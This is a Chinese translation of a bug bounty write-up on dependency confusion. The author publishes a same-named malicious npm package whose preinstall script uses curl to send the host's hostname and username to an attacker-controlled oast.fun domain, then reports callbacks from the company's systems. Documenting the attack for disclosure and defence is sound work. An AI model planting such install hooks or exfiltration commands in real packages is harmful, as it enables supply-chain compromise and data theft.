未经许可,不得转载。
文章目录
- 正文
依赖混淆是一种供应链攻击漏洞,发生在企业的内部依赖包错误地从公共库(如npm)下载,而不是从其私有注册表下载。攻击者可以在公共注册表中上传一个与公司内部包同名的恶意包,一旦企业系统从公共源解析并下载该包,恶意代码便可能被执行,进而带来安全风险,如远程代码执行(RCE)。
正文
我发现某企业的前端 JavaScript 文件引用了一个存储在/node_modules/@confidential-package-name
的Node.js包。进一步查询后,我发现这个内部包尚未在npm公共注册表中注册。
我创建了一个与内部包同名的恶意npm包,并将其发布到公共npm注册表中。在该包的preinstall
脚本中,我嵌入了一个简单的命令,用来在安装时自动执行:
curl — data-urlencode “info=$(hostname && whoami)” http://<attacker-controlled-domain>.oast.fun
这个脚本会将服务器的主机名和用户名发送到我控制的域。
包上线后,数小时至几天内就收到了来自该公司的生产环境和非生产环境的多个请求,这说明他们的系统正在下载并执行这个恶意包。
在收到超过150个HTTP和DNS查询后,我分析IP地址,排除了已知的爬虫流量,并通过WHOIS查询检哪些请求能够匹配企业IP或其服务提供商的IP。可以看到,我实现了RCE:
原文出处:https://medium.com/@p0lyxena/2-500-bug-bounty-write-up-remote-code-execution-rce-via-unclaimed-node-package-6b9108d10643